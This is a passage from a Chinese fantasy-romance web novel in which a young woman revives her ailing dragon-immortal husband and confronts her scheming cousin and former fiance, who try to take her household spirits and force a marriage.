我干笑两声,看着龙仙大人把桃花插进花瓶,还特意调整了一下花枝的倾斜角度,尴尬道:“有没有可能,是他有强迫症?” 柳云衣与风震野同时朝我投来不可思议的目光。 入夜,窗外风声猎猎,我睡得正迷糊,忽被心口一阵抽痛疼醒。 睁开惺忪睡眼,朦胧视线无意扫过床侧身影…… 却猛地发现,自己床上卧着一条身形魁梧粗壮,浑身墨紫龙鳞泛着寒光的巨龙—— 巨龙躺在我身侧痛苦阖目低喘,胸口起伏的厉害,龙身在被子里小幅度的蠕动着,周身寒气伤人。 乍一眼看见这条龙,我顿时被吓没了昏沉睡意,本能的猛弹坐起身,害怕往床里侧缩。 “龙……” 我本来想喊龙仙大人来着,但下一秒又忽然意识到—— 龙仙大人不就是条龙吗! 墨紫龙鳞……他就是龙仙大人! 他怎么会突然变成这样? 朦胧月光透过窗子洒进来,让我勉强能看清他浑浊的龙目。 他难受的睁开眼,瞧了缩在床里侧怕得浑身发抖的我一阵,再次阖目闷叹。 我见状掀开被子,着急忙慌的站起身,抬腿迈过他,跳下床穿上鞋子就跑…… 他呼吸发颤的喑哑唤我:“风、萦,你又……” 我没有离开房间,也没开灯,而是目标明确的打开衣柜,胡乱翻开里面碍事的衣物,从柜子最内侧掏出一个木盒子。 把盒子打开,拿出里面的灵符。 回头再去桌前扭开暖水壶的壶盖,拿玻璃杯倒了半杯热水。 我端着水杯迅速回到龙仙大人身边,先把灵符全塞进他怀里,再小心托起龙仙大人的脖子,把热水喂给他…… “你是不是很冷?这是我妈给我的灵符,以前仙家们出事,只要揣一张在身上就能缓过来,我不知道这灵符对你有没有用……你别怕!就算没用,还有我的血呢!我的血可以给仙家治病!”我抱着他,一边给他喂水,一边心慌意乱的安抚他。 他饮了两口水,情况没有好转反而喘声更加粗重,幽幽睁开雾紫色幽眸,他羸弱的哑着嗓子道:“你、没走……本王变成这样,你、不怕?” 我放下杯子急得给他轻抚胸口: “醒来第一眼的确害怕,但发现是你就不怕了!帝曦,是不是那灵符对你不管用? 别怕,我在呢,我把自己的手腕咬开,你等会儿多喝几口我的血就能好起来了! 帝曦,你先不要闭眼,保持意识清醒,没事的,你能挺过来,一定能!” 我声音发抖的说完,举起胳膊张嘴就咬自己的手腕…… “风萦!”他喘息急促的粗声阻止:“本王用不上你的血,你、吻本王……” 吻他? 我愣住,放下被咬出牙印的右腕。 他别过头,闷咳好几声:“怎么,下不去口?” 然而话才说完,我就已经低头吻住了他…… 他身子一僵,好看的雾紫龙眸错愕盯着我。 我环紧他的脖子,配合的将口中气息渡给他。 允他缓缓汲取我体中力量。 龙仙大人也、太好养了吧! 不需要我的血,出了事只需我亲一下…… 更重要的是,亲他,我不吃亏! 养他,我根本不需要付出任何代价,省心又省力。 什么下不去口,他可真是小瞧我了…… 想当年我可是给死人做过人工呼吸! 再说,龙仙大人的真身,也不难看…… 他是龙,又不是癞蛤蟆。 我不确定这样吻他,是否真能让他快些好起来…… 但,几分钟后,他的确胸口起伏渐渐平稳了下来,呼吸也不像之前那样急促了。 又过几分钟,他总算变回了人形…… 不过,他变回来后做的第一件事,就是掐着我的腰将我提回了床内侧,放回了被窝里。 动作温柔的抱紧我,薄唇暂时离开我的唇,滚烫吐息擦过我的鬓角,扫得我耳根痒痒。 “风萦……本王需要你的力量运功修复元神,今晚,容本王、久一些。” 他在和我商量。 我仗义的环住他脖子,主动再次乖乖吻住了他冰凉的薄唇:“嗯!” 这种对我没有任何伤害的行为,只要他撑得住,让我配合他一整夜都没问题! 他听罢,握在我腰上的那只大手悄然收紧。 我躺在他怀里,任他汲取我的力量,自行疗伤…… 只是,十来分钟后,他与我唇瓣相抵的薄唇小心动了动。 磨得我心中一惊。 大手扶住了我的脑袋,他哽了哽,喉结滚动,吻着我的唇,小声唤我:“风萦……” 我轻轻回应他:“嗯。” “风萦……”他呼吸浅浅的又喊。 我拍拍他的后背,鼻尖溢出的回应又轻三分:“嗯。” 他倏然动作强势的碾我唇瓣,一片清凉趁机溜进我的口中…… 我顿时脑中轰的一声,乱成一团! 不由惊讶的睁大眼,呼吸变得小心翼翼。 这也是,疗伤的一部分? 无处安置的手被他握进掌心,恍惚中,像是又回到了从前在梦里的那段时光…… 他的玉指捏了捏我的手心,清凉在我口中扫荡。 我紧张的心跳如鼓,脑子里根本反应不过来他到底在做什么…… 直到,他身上开始发烫。 我不自在的动了动腰身,好奇伸手…… “你怎么……” 他呼吸陡然一窒,下一秒,仓皇失措的推开我。 “风萦,你!” 第一卷 第42章 千年前,到底发生了什么 我:“……” 好像、也对! 后来的我没再在他身边乱折腾,听话地躺在他怀里酝酿睡意。 快要睡着那会子,我猛地发现手臂上的雷火灼伤痕迹没有了…… “帝曦,我胳膊上的伤不见了!”我诧异惊呼。 他默默将我往怀里再收紧些,下颌倚在我肩上,鼻音沉沉地嗯了声:“本王瞧着碍眼。” 我心领神会地吐了口热息。 哪里是瞧着碍眼,分明就是嘴硬心软的神啊。 算了,龙仙大人是傲娇了点,但我养的仙家,傲点怎么了,他有傲娇的资本! 何况,和忘恩负义恩将仇报的白眼狼江墨川相比,我家龙仙,就是世上最好的仙家! 想到这,我动作极轻地翻过身,面向他,伸手环住他的窄腰,将他冷意未褪的身子拢进怀中,用自己的体温帮他取暖。 他心神不安地动了动,我闭着双眼,手轻轻在他背上拍拍,软声安抚:“我抱着你,你就不冷了……” 他深呼吸,脊背紧绷,良久才慢慢接受我的亲近。 亦抬手将我拥紧。 不久,我睡意上头,他的身子也不似先前那么寒了。 一晃神,我差点睡死过去。 但关键时刻我又莫名想起了他傍晚在黄河边说的那些话…… 莫名心底酸涩。 精神彻底放松前,还不忘柔声哄他一句: “帝曦,都过去了,我知道你受了很多委屈。 没关系,别人不信你,我信你…… 你乖乖睡觉,不要胡思乱想,快些好起来,不然,我会担心…… 帝曦,你是个很好的仙家,我们都是你的家人。” 哄完,我才放心让自己进入深眠状态。 额角的濡湿被一只温柔大手轻轻拭去。 耳畔的磁性嗓音哽了哽,哀伤道: “风萦……如果你肯早一千年同本王说这些话,本王或许,便不会恨你。如今,太迟了。” “本王去镇水楼看过你,那里的你,同本王记忆中的你,一样冷漠、残酷。 但却与本王眼前的你,天壤之别。” “风萦,千年前的后来到底发生了什么事,为何你也成了凡人……比本王混得还差。” “现在的你,话中究竟有几分真,几分假。” 睡梦中的我挠了挠发痒的耳根,本能的一头往他胸膛埋得更深些。 还得是抱着睡暖和啊,怪不得以前苏苏喜欢躺我怀里睡觉。 天亮,村里邻居家的鸡打鸣打的一口气险些没喘上来。 我浑浑噩噩地撑起身子从床上坐起来,扭头看床外侧的位置…… 还是和以前一样,他起得早,我睡醒时,他已经不见踪迹了。 下床穿上拖鞋,我去柜子里找了件干净长裙。 二月二一过,天就要暖和起来了。 今年的春天早晚温差大,夜里虽然还会寒得令人手脚冰凉,可白天的温度已经达到了二十五六度。 穿长裙正合适。 不过准备换衣服时,我又开始对着衣柜里的另一件长裙犯了难。 “是穿这件淡红色的呢,还是穿那件浅紫色的?” 两件颜色都好看。 举起胳膊,才倏然看见手臂上的那个黑龙纹身又出现了。 这个纹身时有时无的状态我都快习以为常了,毕竟和它的主人一样,任性! 纠结了一阵,我决定今天穿淡红色的,明天穿浅紫色的。 脱下睡衣,我取过衣架上的长裙。 手指滑过雪白的肩膀,扫过玉色胸口,换好衣物。 等我去梳妆镜前打理及腰的长发,竟又看见那个纹身颜色淡了许多…… 上回我拼命搓洗都没能让它褪色半分,它这会子怎么自己掉色了? 等再看见龙仙大人,还是得问问他这个纹身时有时无,时清晰时掉色到底是什么情况。 洗完脸,我捏了捏睡疼的肩膀出门,人还没完全清醒呢,就听流苏在院子里着急喊: “二姐还没有起床,你们不能随便进二姐的家!” 随即是风柔的委屈诉苦声: “墨川哥哥,你看我们才没来这边几天,就被人拦在了门外。” 江墨川反客为主冷斥: “让开!你算什么东西!知道我是谁么?还有,谁允许你住在这里的? 风流苏,你若不想受罪,就老老实实跟我们回去! 你和张家的婚约还在,没有作废,别敬酒不吃吃罚酒,逼我们把你绑去张家!” 流苏瞬间被江墨川吓没了魂,嗓音带着哭腔反抗道: “我不去!我不要和你们走,我和张家的疯儿子才没有婚约呢。 现在不可以包办婚姻,我不是自愿的,你们谁也不能逼我嫁人!” 风柔轻声在院子里没好气地试图给流苏洗脑: “风流苏,张家哥哥的病情早就得到控制了,他现在每天都有吃药,你别一口一个疯子的叫他,你这是不尊重他。 张家哥哥人很好的,张家还有钱,他们家就着一个儿子,张大伯两口子的积蓄以后肯定都会留给张家哥哥,他家这么好的条件,你有什么可挑的。 你嫁去张家,再给张家哥哥生个孩子,以后你就是张家的活祖宗,他家的钱随你花,你就再也不用到处去别人家要钱蹭饭了。 风流苏,你赶紧从我妹妹家滚出去,我妹妹不欢迎你,而且我妹妹家现在当家做主的人,是墨川哥哥。 小萦只是看在大家都是亲戚的份上才留你暂时住几天,你别真不把自己当外人了。 小萦一点也不喜欢你,小萦打小就烦你,小萦昨天还和我说,她才不会认个小偷当妹妹呢!” 我昨天还和她说,我不会认个小偷当妹妹? 呵,原来,从前她就是这么一点点,离间我身边所有人的。 亏我还只当她是没脑子,单纯情商低。 就因为幼年的那点亏欠,我忍了她十来年,还把江墨川给了她。 欠她的,我已经还完了! 可她现在还不知足,还想在背后捅我刀子。 风柔,你太贪心了。 “我姐才不会这么说我呢!风柔你就是个撒谎精!” 流苏有骨气地哭着怼回去: “从小到大你每次看我想亲近二姐都会撒谎骗我,说二姐讨厌我,说二姐嫌我是个野种灾星,巴不得我离她远些,一辈子不要把自己身上的晦气沾染给二姐。 其实这些话都是你编的! 二姐从没说过她讨厌我,更没嫌过我父母双亡! 是你处处挤兑我,瞧不起我! 你还污蔑我偷你东西,根本没有! 我以前每次去你家,你都像防贼一样防着我,我连你的房间都进不去,怎么偷你东西! 风柔你就是个撒谎成性的人,你表面和二姐亲近,实际上却想抢走二姐的所有好东西。 你明知道二姐把仙家们当亲人,你还过来胡说八道害仙家们误会二姐。 你明知道二姐需要这个蛟仙续命,你还故意抢先一步让他娶你。 你什么都要抢什么都要占,你就是仗着二姐身后空无一人,才敢这么欺负二姐!” 风柔一听这话顿时也柔弱哭了起来: “你这是污蔑!墨川哥哥,你别信她,我没有撒谎,墨川哥哥你了解我的,我不是那种人……” 江墨川昧着良心温和安慰风柔: “我知道,你善良单纯,有些人就是利用你的善良反向伤害你。 柔儿,我早就说过,欺负你的人,都该死!” 流苏又气又委屈的拔高声: “张家条件好,那你怎么不嫁?明明是你爸欠了钱,为什么要用我来还债。 要还债也该由你这个亲女儿来还,你只是我的表姐,你爸只是我妈妈的堂哥,我又不是卖身给你们家。 你们凭什么说把我嫁给谁,我就要嫁给谁。 我是没有亲人了,可我现在已经成年了! 大表姐,你这么为张家哥哥说话,你尊重他,那你去嫁啊! 你别和别人抢男人啊!你也去给精神病生个孩子!” “风流苏,你怎么能这么说呢!” 风柔扭头就哭着去找江墨川撑腰: “墨川哥哥,我也是好心才劝风流苏嫁给张家哥哥,我现在已经、是你的人了。 她竟然让我给别的男人生孩子,她这是在羞辱我。 我知道和你在一起,是我的错,我不该和小萦抢,墨川哥哥你还是和我分手吧。 我把你还给小萦就不用受这种气了……” 院子里一时两道响亮哭声此起彼伏,比上学时早上五点的闹钟还喧哗。 江墨川那王八蛋自然见不得风柔受委屈,一听风柔这么说瞬间心疼得牙齿都要咬碎了: “风流苏!是谁教你说这些话的?是风萦对么! 让她滚出来,昨日本尊和她说的话她是不是全忘了! 冷静了这么多天还没有学会怎么尊敬柔儿,我看她也不是很急着借寿续命! 还有,柔儿不想看见你,你给我滚出去,这里不欢迎你!” “凭什么!” 流苏啜泣着鼓起勇气反驳江墨川: “这里是二姐的家,我住在二姐家里关你们什么事,应该出去的人是你们!” 江墨川厚颜无耻地振振有词道: “因为这个家,本尊说的算! 她风萦以后是要嫁给本尊的,这里,就是本尊的地盘! 本尊让谁来,谁才能来。” “你做梦!” 流苏抹着眼泪硬气道: “你才不配做我姐夫呢!我已经有姐夫了! 你忘恩负义差点害死二姐,你有什么资格再侵占二姐的一切? 风柔,你不要脸,你抢自己堂妹的未婚夫,还在这装什么受害者,你动不动就说要把他还给二姐,你倒是还啊! 你每回都只会拿这种话来取得别人的同情,你其实最坏了! 你才是那个手脚不干净的小偷,你不但是小偷还是强盗!” “风流苏,你放肆!”江墨川气急败坏的抬手就要打流苏。 但好在,一道白光先我一步飞出了堂屋。 江墨川扇过去的巴掌被胡玉衡及时挡下。 “玉衡哥哥……”流苏哭唧唧地躲到胡玉衡身后。 胡玉衡护住流苏,冷冷问罪: “你还回来干什么?这里不是你能撒野的地方,江墨川,不想死就赶紧滚!” 江墨川不服气反问: “死狐狸,你怎敢一而再再而三的拦着本尊! 你别忘了,你现在还受牌位控制,本尊如今已经完全脱离神位,死而复生,重塑了肉身。 就算你曾是我们九个中修为最好,道行最高的那个,如今的你,也不是本尊的对手。 让开,风流苏这个贱人当着本尊的面羞辱本尊的女人,本尊今日定要给她点颜色看看!” 胡玉衡用力甩开江墨川的脏手:“她,你不能动。她是小萦疼爱的妹妹,你打她,小萦不会放过你。” “才不是呢!” 风柔楚楚可怜地迈过去,亲近地拉住胡玉衡胳膊,不自觉软了语气: “胡哥哥,你别被她骗了,小萦只是受她蒙蔽,才会留她在家里暂时居住…… 胡哥哥,我们这次来,是为了解救你们的。 顺便和小萦说清楚之前的误会,胡哥哥,你以前最疼我信我了。 这个风流苏小小年纪就会勾引人,她赖在家里,肯定是对你们有所图谋!” 胡玉衡冷漠推开她攥在自己臂上的那只手: “风柔,我们没有这么熟,你这种人类见我,该称一声狐仙。” “胡哥哥……是不是风流苏和你说了什么让你误会我的话了?你以前,不是这样。”风柔委屈地红了双眼。 第一卷 第43章 一脚踹飞江墨川 江墨川宝贝的搂过风柔护在怀里: “本尊知道你们对本尊娶了柔儿一事颇为不满,但是胡玉衡,你比任何人都清楚,柔儿才是本尊的挚爱。 风萦只不过是对本尊有救命再造之恩,本尊也承诺过,会娶风萦,助她续命,以此报恩。 本尊答应娶风萦,可没说过,除了风萦,本尊不会再娶别的女人。 本尊在信守承诺娶她之前,先娶本尊真正的心上人,有问题吗?本尊不算忘恩负义,更不算,违背誓言! 是她贪心,妄想用救命之恩捆绑本尊,本尊都已经给了她名分,她还贪得无厌地想完全占有本尊! 再说,胡玉衡,你们之前不也一致认为,我冷落风萦,是她咎由自取。 认为柔儿,比风萦更适合做本尊的妻子么?” 话音刚落,屋内的仙家们就焦躁地晃动了起来。 沈沐风他们想冲出去反驳,被我一个冰冷眼神给挡回了牌位。 仙家们心虚地猛吞口水,委屈看我,想解释却又没一个敢打头阵。 只能无辜地飘在牌位上方紧张盯着我的反应。 院子里的胡玉衡凝声说: “是,之前我们是对小萦有怨言,是怪过小萦,觉得小萦不懂事,甚至矫情。 觉得风柔大度善良,体贴柔和。 觉得小萦不如风柔,更甚者,说过‘难怪小萦不如风柔讨人喜欢’等言辞。 可你也没有告诉过我们,救颜如玉性命的黄河灵草,是小萦拔的,为沈沐风凝聚魂魄的阴沉木,是小萦用自己血换的。 我的狐尾,是小萦给的,震野的眼睛,云衣的蛇骨,蟒兄的胆,惊云的鳞,小白的断腿,都是因为小萦才治好的。 这五年来,我们九个轮流渡劫,只有小萦才会拼了命的保我们性命,包括你的天劫,都是小萦给你挡的! 可结果呢?风柔,云衣的蛇骨,蟒兄的胆,真是你带回来的吗?” 风柔不知所措地哑了嗓子:“我……” 江墨川沉默片刻,冷哼一声:“你现在是想和本尊翻旧账?” 胡玉衡压抑道:“江墨川,是你告诉我们,小萦不在意我们,小萦供养我们只是因为她怕死。 是你说,小萦不管我们的生死,我们最需要小萦的时候,是你和风柔陪在我们身边,悉心照顾,我们信以为真,将风柔当做妹妹看待。 但事实呢?我们在享受着你和风柔体贴照顾时,小萦也在受煎熬,可她身边,一个照顾的人都没有。 你们两个理直气壮冒领功劳,把生死未卜的小萦丢在外面,无人问津。 她好不容易缓口气,艰难的回来了,还要遭受我们所有人的孤立、排挤、白眼。 江墨川,你有心吗?” 江墨川嗤笑出声,反咬一口: “本尊有说送给那条死黄鼠狼的灵草,是本尊摘的吗? 有说风萦没给你们挡雷劫吗? 是你们自己没有见到风萦,便以为风萦不在意你们的生死。 至于蛇蛊与蟒胆,风萦已经拥有得够多了。 那段时日你们为了风萦,数次无视想和你们做朋友的柔儿,本尊若不这么做,你们如何能接纳柔儿? 柔儿身子弱,多几位哥哥照顾我也放心。 况且,你们不是也很喜欢柔儿这个妹妹吗? 你们不肯吃风萦亲手做的贡品,却愿意享用柔儿拿过来的水果糖。 柳云衣、余惊云、还有沈沐风,他们之前可是赞成本尊把风萦甩了,大胆追求柔儿的。” 我内心毫无波澜地站在堂屋门后,静静听着江墨川拆所有人的台。 供桌上的柳云衣都急哭了,小声解释:“冤枉啊,我那是口嗨!” 鱼仙余惊云瘪嘴:“我那时候根本不知道他真看上了风柔。” 沈沐风抱着脑袋愧疚自责:“我是真心的……我有罪,我该死。” “还有你,胡玉衡,你是第一个发现本尊爱上了柔儿的人,可你不也选择替本尊隐瞒? 怎么,如今在这装什么正直正义的大好人,本尊与柔儿能喜结连理,如愿以偿,你还是我们的媒人呢!” “本君自知对小萦有愧,所以从现在开始,本君绝不允许你与风柔再伤害小萦半分! 江墨川,上次你险些要小萦性命的账,本君还没同你算呢!” 胡玉衡说着就要和江墨川打起来,流苏不放心的忙抱住胡玉衡胳膊: “玉衡哥哥,你会吵醒二姐的……出去打,我给你喊人!” 眼见这小丫头还真准备把胡玉衡往外拽,我耐不住性子地走出堂屋,主动现身吸引火力,免得胡玉衡真和江墨川打了起来。 “大早上的,吵什么呢,各位精神不错,看来是睡饱了。” 我打着哈欠装作没听见前面的话,走到胡玉衡身边,看了眼一袭白衣丰神俊朗的狐仙,感叹道:“还是人形好看,原形我想撸。” 胡玉衡染上怒意的清澈狐狸眸柔下几分:“小萦……” 风柔见我出去,抢先一步跑来抓着我的胳膊梨花带雨地和我告状: “小萦,你别再让风流苏住在这了,她挑拨我们俩的关系,刚才还骂我插足你和墨川哥哥,说我不要脸。 小萦,我知道你肯定不会这么想,从小到大咱们姐妹俩的感情最好了,风流苏她、实在太过分了。 她这么说,我以后都不敢再来找你了……” 我张嘴正要呛回去,江墨川却火急火燎堵我的嘴,以上位者的姿态沉声命令:“风萦,本尊不喜欢家里有外人的气息,让她滚!” 我被他的自信逗笑,勾唇讥讽:“你是什么东西,我家的事,什么时候轮到你说得算了?” 他似是没料到我会当众下他面子,黑着脸迈近我一步,压迫感迎面逼来:“本尊是什么东西?本尊是你未来的夫君!” 风柔哭得极有美感的一脸真诚道: “昨天的事,我回家和墨川哥哥解释了,墨川哥哥也清楚是他误会你了…… 所以我们今天特意上门来给你道歉的。 还有,小萦,我们打算把仙家们的牌位带回我家,以后我来帮你照顾仙家们。” 胡玉衡激动道:“什么?你要把我们带回你家?不可能!我们是小萦的保家仙,绝不会跟你走!” 风柔咬唇看向胡玉衡,装作善解人意: “我们这也是为了小萦考虑,小萦一个人在家,香火供奉上难免会有疏漏。 等你们去了我家,我家有我和墨川哥哥,还有我爸我妈,我们肯定不会让你们案前断了香火的。 胡哥哥,我不是很习惯我照顾你吗?小萦平时很忙的,又要做家务,又要做饭。 你们去我家,也能减轻小萦的负担。” 江墨川冷眼睨胡玉衡,自以为掌控一切,胸有成竹道: “本尊清楚你们的顾虑,你们需要风萦的血,你们害怕离开风萦魂飞魄散。 放心好了,血不会断,本尊会按时取风萦的血回去,供养你们。 胡玉衡,你们不是早就想摆脱风萦了么? 本尊今日,便是来解救你们的。 你们去了柔儿家,本尊可以助你们开堂看事,所得功德与香火可是能帮你们增长修为的。 你们便不想有朝一日也能像本尊一样,重塑真身,恢复自由,不再为一块破木板所困吗?” 按时取我的血回去供养仙家,让仙家帮风柔给别人看事。 这是完全将我当成工具人了啊! 胡玉衡拧眉冷冷警告: “别以为本君不知道你心里在打什么算盘! 江墨川,你一而再再而三算计小萦,惹怒了那位,她能在我们将要魂飞魄散之际给我们一线生机,也能让我们,再次死无葬身之地!” 那位……是谁? 江墨川却不屑嗤笑: “本尊如今已经不再受制于牌位了,功力也恢复了九成。 纵使她行走阴阳两界专管我等,我也不怕她。 她有本事,便来同本尊一较高低!” 胡玉衡咬牙怒骂:“你真是疯了!” 江墨川无视我的意愿直接和风柔说:“柔儿,你等会就去堂屋,把九副牌位带回去。” 风柔听话地点点头,又来忽悠我: “小萦,我们这也是为你好,这么多仙家你照顾不过来的。 我和墨川哥哥已经商量好了,你和墨川哥哥结婚后,墨川哥哥白天在我家,晚上会过来陪你。 小萦,我说过,我不会和你抢墨川哥哥的,我们俩可是好姐妹啊。 仙家们在我家,你就每隔三天把血交给墨川哥哥,墨川哥哥带过去供养仙家们。 小萦,你一定不会因为仙家们抛弃了你,就不给他们血了吧。 你这么在意九位哥哥,肯定不忍心看他们出什么差池,魂飞魄散……” 我冷笑,甩开风柔的手,淡淡道:“这几位仙家,你带不走。” 流苏下意识把胡玉衡的胳膊搂得更紧了些,红着眼眶昂头问胡玉衡:“玉衡哥哥,你不会背叛二姐的,对吗?” 胡玉衡听罢,眯了眯一双深邃的狐狸眼,坚定道:“小萦说得对,我们不会跟你走,少做梦了!” 江墨川自以为是地上来薅住我左腕,威胁道: “把他们送到柔儿家,送走我们今天就成亲! 风萦,本尊不喜欢本尊的女人家里,养这么多别的男人! 你一个女孩,养八个野男人,传出去别人只会说你浪荡成性!” “和你结婚?”我恶心道:“谁稀罕啊!” 江墨川不要脸地挑眉: “本尊懒得和你没完没了的纠缠,你不是要结婚么?本尊今天就来娶你!” 风柔帮衬道: “是啊小萦,我知道你不好意思主动去找墨川哥哥,墨川哥哥已经答应我了,他今晚就可以在你家,和你拜堂。 小萦你这身红裙子我看就很好,也不用准备嫁衣了,直接这一身就能拜!” “你们是听不懂人话吗?”我不耐烦地用力推开江墨川的手:“我不嫁了,江墨川送给你了!” “风萦!”江墨川发疯大吼:“没完了是吧!本尊已经忍你很久了!” 我不客气地骂回去:“我忍你也很久了,江墨川,你就是条听不懂人话的畜生。” 见我和江墨川吵起来,风柔拔腿就往堂屋跑,只是走到堂屋门槛外,抬头那一刻,却陡然僵住了…… “小萦,墨川哥哥的神位呢?” 江墨川闻言,转身就往堂屋门口跑…… 发现堂屋供桌上没有他的牌位,江墨川脚下一个趔趄,心慌低喃: “桌子上怎么就只剩下八副牌位了?” 下一秒,江墨川瞬间出现在我身边,急着找我要答案: “风萦,你把本尊的牌位撤了?你怎能撤本尊的牌位!” 我直视他的眼睛一字一句说: “我说过很多遍,你喜欢风萦,我就把你送给她,我不供养你了,你的牌位当然得撤!” 他不敢相信地倒吸一口气,摇头否认:“不可能,你缠了本尊四年,怎会……” 不等他话说完,风柔那边又恍然大悟喊道: “供桌上有个新的牌位,我懂了,小萦你是想给墨川哥哥换副新的神位,小萦,你还是在乎墨川哥哥的。” 江墨川那蠢货紧绷的脊背一松,眼底恐慌被讥讽取缔: “本尊就知道,你不可能轻易放手。风萦,你对本尊执念太深,你根本离不开本尊。” 我离不开你大爷! “那副牌位不是给你的,你少自作多情!” 我解释,然而江墨川这王八蛋根本不听,拽着我往堂屋里进: “你不是想要本尊娶你么?本尊现在和你拜天地! 风萦,嫁给本尊后你若再如此任性,休怪本尊让你守活寡!” “江墨川你放开!谁要嫁给你了!放开!”我拼命想拽回自己的手腕,然而攥在腕骨上的那只手却越收越紧。 “风萦,就算这些蠢货知道了真相又怎样,他们帮不上你。除了本尊,没人能娶你!” “放开我!” “成完亲,本尊再好好收拾你!” “放开!我已经有老公了!” 我咬牙反抗得厉害,胳膊上那只黑龙纹身也再次消失不见…… 供桌上的牌位们倏然不安地叮叮咣咣晃动起来。 “风萦,你给本尊记住了,从今往后,风柔才是本尊名正言顺的妻子,而你,永远都只能做见不得光的……” 侮辱人的话没说完,我正卯足劲掰他的狗爪子呢。 谁知下一瞬,擒在腕上的力一松,他整个人被一道重力踹飞五米远…… 腰身被一股清凉的力量带进一个携着清浅花香的熟悉怀抱。 有人手臂环住我腰肢,墨紫衣角翻飞。 第一卷 第44章 夫人害怕,那就杀了 我错愕抬头。 “龙仙大人……” 苏苏激动地放开胡玉衡胳膊,红着眼眶扑过来有分寸地扯住龙仙大人银线绣鳞纹的袖角,委屈告状: “姐夫!你终于来了,再不来,二姐就要被这条坏蛟打了!” “姐夫……”被龙仙大人踹了个狗吃屎的江墨川狼狈翻身回头,看见龙仙大人那一瞬,眼底的怒意龟裂开,渗出本能的恐慌。 江墨川虽说是原生蛟,并非蛇化蛟,在血统上优于三分之二的蛟类。 可在龙仙大人这位真龙面前,江墨川还是会不由自主地被震慑威压…… 毕竟真龙于蛟龙而言,是存在血脉压制的。 蛟龙性子再张狂,在真龙面前也得乖乖蜷着…… 风柔捂嘴被吓退一步,猛吞了口口水,然而下一秒就再次开始表演: “小萦……你这是、背叛了墨川哥哥吗? 不,小萦我不信,你从前那么爱墨川哥哥,怎么可能会嫁给别的仙家。 小萦你只是利用别人报复墨川哥哥的对吗? 小萦,墨川哥哥已经知道错了,你就别闹了,你这样,会寒了墨川哥哥的心的。” 沈沐风与柳云衣听不下去地从牌位内飞了出来,落在我们身畔凝出人形。 “风柔,别演了!你不是早就见过龙尊大人了吗?现在又在这装什么无辜不知情!”沈沐风咬牙怒斥。 柳云衣也愤愤道: “江墨川娶你的时候,你们两个怎么没想过会不会寒了小萦的心! 江墨川,风柔,我告诉你们,小萦嫁给龙尊的事,我们几个早就知道了。 江墨川,你真以为仗着自己可以给小萦续命,就能稳稳拿捏住小萦了么? 你还想让小萦做你见不得光的情妇?真是狂妄至极!” 沈沐风攥紧手中玉骨折扇,嫌弃剜了眼柔弱含泪的风柔: “你们这对狗男女就别在这一唱一和了,江墨川,龙尊大人在此,还不跪拜!” “龙尊……”江墨川一身灰的踉跄从地上爬起来,表情僵硬的瞪大眼睛不相信道:“风萦,你真嫁人了?” 我迎上他质问怨恨的目光,冷冷道:“我早就告诉你了,是你自作多情的偏不相信。” 江墨川不甘心地猛喘两口气,直接无视龙仙大人大步迈近我,理直气壮地死死盯着我,高声埋怨道: “本尊不就是回来迟了一个时辰么!你用得着随便找个来路不明的男人就嫁吗? 风萦,亏本尊还这么信任你,你怎敢背叛本尊!” 他吼出最后一句话时,双眸浸血,额角青筋凸起,砰砰直跳。 我瞧着他这副破防的模样,平静反问: “你也配说信任,谴责别人背叛?何况,麻烦你搞清楚,是你欠我的,不是我被你救。 你刚才也说了,你是为了报恩才答应娶我,但你也没有承诺过,你不会另娶别人。 所以只要你娶了我,就是信守承诺,就不算背信弃义。 你非要这么解释,也确实没有问题。 但你可以选择先娶别人,不管我的生死,我为什么不能另嫁别人,另谋生路? 我们之间的婚约,是你为了还债许给我的,不是我欠了你,送给你的。 你要明白,欠债的人是你,嫁不嫁给你,选择权在我。 我还没和你计较你出尔反尔危急关头摆我一道的账呢,你怎么好意思先说我背叛你?” 江墨川六神无主的浮躁道:“不!不行!风萦,本尊、本尊从未想过不娶你……” 充斥敌意的目光转移到龙仙大人身上,江墨川指着龙仙大人问我: “你那天说的,都是真的?他就是血玉棺中封印的那条龙?! 风萦,黄河下镇压的都是些十恶不赦的妖物。 你别胡闹,你不能和他在一起,他会害了你!” 龙仙大人眉心微拧,握在我腰上的大手悄然收紧。 我果断反驳道: “他会不会害我,用不上你操心。 我只知道在我命悬一线,孤立无援时,是他给了我活下去的机会。 只知道我不经过他允许就私自冒犯他,他却没有吃了我解气。 只知道我被你绑去黄河边吸血,你为了保护你爱的风柔用猛力撕破我的大动脉,我差点就血尽而亡时,是他着急忙慌的出现,把我从树上松下来,抱我回家,用自己的真元给我治愈脖子上狰狞的伤口。 只知道他是位很好的仙家,是他一次又一次地救我性命。 你连他是谁都不知道,都不了解他,你没资格污蔑他十恶不赦!” 揽在我腰间的那只手僵了僵,指节慢慢松了力度…… 我盯着江墨川愈发湿润、攀上血丝的浑浊漆眸,语气坚定说: “而你呢,你历劫的天雷是我给你挡的,你的肉身是我放血给你塑的,你能有今天都是我的功劳。 可你又是怎么报我恩的? 我自认为这四年来并没有对你死缠烂打,是你在四年前我选未婚夫的那天,振振有词告诉我,我选你,你以后就是我的保护神。 你会和我结婚,会护着我不再受任何人欺负。 是你和我说,你的命是我的,你只会忠于我。 所以这四年我才把你当做未来丈夫照顾,你喜欢风柔,不喜欢我,你们完全可以告诉我。 但你们俩都没有说,甚至连胡玉衡他们都知道,只有我一个人被蒙在鼓里! 去年我就问过你,你是不是觉得堂姐比我优秀多了,是不是对堂姐有好感。 你是怎么说的?你说堂姐身子弱,我又对堂姐心中有愧,所以你才会看在我的面子上多照顾堂姐。 我信过你,四年了,我从没怀疑过你说的每一句话。 我自认为对你不薄,你可却在我性命攸关,火烧眉毛的时候,突然告诉我你要先娶堂姐! 我不是会强人所难的人,哪怕你提前半个月告诉我你爱上了堂姐,给我找别的法子续命的时间,我都会高高兴兴地成全你们。 偏偏,你们在我大限将至的时候给我这么一次重击。 江墨川,你就是自私,你爱着风柔却还想拖着我不放,你就是人品卑劣,既要又要! 你这种人,没资格评判任何人的好坏!” 江墨川神经兮兮地红着眼,一副接受不了的模样,演得像我辜负了他一片痴情似的,哽咽着道: “萦儿,你听我解释,我没有想抛弃你。 柔儿胆小,黄河里的怪物要收走槐荫村所有未婚女子,我不娶她,她就会处于险境之中…… 我那天晚上回来找你了,只是他们都不告诉我你到底去了哪,我以为你只是生我娶柔儿的气,和我使小性子…… 萦儿,我同你承诺了无数次,我会娶你,你为什么就是不信呢!为什么不等我!” 沈沐风气极反笑,五指攥在玉骨折扇上,指节泛白: 